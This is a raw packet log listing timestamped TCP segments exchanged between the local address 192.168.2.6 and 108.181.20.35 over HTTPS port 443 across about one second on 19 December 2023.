Dec 19, 2023 05:18:38.693658113 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.693677902 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.693744898 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.693751097 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.693789005 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.706106901 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.706123114 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.706206083 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.706218004 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.706358910 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.709033966 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.709048986 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.709115028 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.709120989 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.709158897 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.710860968 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.710876942 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.710936069 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.710942030 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.710983038 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.724234104 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.724258900 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.724441051 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.724441051 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.724447966 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.724483013 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.724668980 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.724683046 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.724737883 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.724744081 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.724781036 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.749460936 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.749489069 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.749762058 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.749772072 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.749815941 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.835262060 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.835290909 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.835450888 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.835460901 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.835634947 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.856782913 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.856801987 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.856905937 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.856913090 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.857000113 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.868794918 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.868814945 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.868887901 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.868901014 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.868942022 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.873167038 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.873189926 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.873370886 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.873379946 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.873464108 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.891120911 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.891140938 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.891222954 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.891231060 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.891380072 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.893966913 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.893982887 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.894033909 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.894041061 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.894078016 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.896049976 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.896066904 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.896112919 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.896120071 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.896157026 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.897397995 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.897419930 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.897452116 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.897459984 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.897488117 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.897505045 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.910336971 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.910353899 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.910433054 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.910440922 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.910612106 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.913434029 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.913450003 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.913507938 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:38.913515091 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:38.913568974 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.014946938 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.014967918 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.015032053 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.015048981 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.015086889 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.042123079 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.042176008 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.042212963 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.042222977 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.042251110 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.042264938 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.054235935 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.054284096 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.054302931 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.054311991 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.054337978 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.054353952 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.055241108 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.055284977 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.055309057 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.055314064 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.055339098 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.055354118 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.076333046 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.076376915 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.076467991 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.076478004 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.076534986 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.078805923 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.078846931 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.078860998 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.078869104 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.078901052 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.078912973 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.082844019 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.082885027 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.082915068 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.082921028 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.082947969 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.082972050 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.084016085 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.084038973 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.084074020 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.084079027 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.084114075 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.084121943 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.095663071 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.095695972 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.095786095 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.095794916 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.095844984 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.098134995 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.098156929 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.098217010 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.098222017 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.098280907 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.161006927 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.161062956 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.161144972 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.161159039 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.161173105 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.161196947 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.226469040 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.226500034 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.226555109 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.226567984 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.226608038 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.226634979 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.239295006 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.239314079 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.239362001 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.239371061 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.239408016 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.241111994 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.241127968 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.241161108 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.241168022 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.241194010 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.241202116 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.255685091 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.255712986 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.255749941 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.255763054 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.255779982 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.255803108 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.263499975 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.263520002 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.263580084 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.263590097 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.263626099 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.266743898 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.266769886 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.266803026 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.266808987 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.266829967 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.266839027 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.268917084 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.268939018 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.268970966 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.268976927 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.269001961 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.269021988 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.281116962 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.281136036 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.281202078 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.281210899 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.281246901 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.282171011 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.282186985 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.282237053 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.282243967 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.282279015 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.306607008 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.306627035 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.306688070 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.306695938 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.306730986 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.392158031 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.392180920 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.392273903 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.392288923 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.392333984 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.422785044 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.422804117 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.422890902 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.422902107 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.422941923 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.425565004 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.425585032 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.425632000 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.425637960 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.425666094 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.425684929 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.437928915 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.437946081 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.437999010 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.438005924 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.438045025 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.448175907 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.448199034 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.448234081 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.448240042 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.448263884 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.448282003 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.449995995 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.450012922 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.450068951 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.450074911 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.450118065 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.453562975 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.453578949 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.453617096 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.453620911 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.453651905 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.453671932 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.465383053 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.465399981 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.465459108 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.465466976 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.465506077 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.467231989 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.467247009 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.467288971 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.467297077 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.467330933 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.492355108 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.492373943 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.492470980 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.492480993 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.492523909 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.570462942 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.570489883 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.570574045 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.570586920 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.570622921 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.597645044 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.597661972 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.597728014 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.597739935 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.597779036 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.609792948 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.609808922 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.609865904 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.609889984 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.609904051 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.609927893 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.611771107 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.611788988 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.611820936 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.611831903 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.611855984 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.611875057 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.632424116 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.632442951 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.632483959 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.632504940 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.632518053 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.632550001 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.633708954 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.633725882 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.633786917 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.633794069 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.633833885 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.639231920 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.639251947 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.639286995 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.639292955 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.639318943 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.639336109 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.640239000 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.640254974 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.640315056 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.640320063 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.640352964 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.651763916 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.651781082 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.651845932 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.651851892 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.651890039 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.654493093 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.654511929 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.654560089 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.654566050 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.654602051 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.716484070 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.716506958 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.716582060 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.716593027 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.716633081 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.782907009 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.782928944 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.782985926 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.782994032 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.783041954 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.793565035 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.793592930 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.793634892 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.793641090 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.793668032 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.793679953 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.795718908 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.795753002 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.795800924 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.795809031 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.795835972 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.795850039 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.808358908 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.808377028 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.808443069 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.808449984 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.808484077 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:39.818542004 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:39.818557978 CET	443	49718	108.181.20.35	192.168.2.6
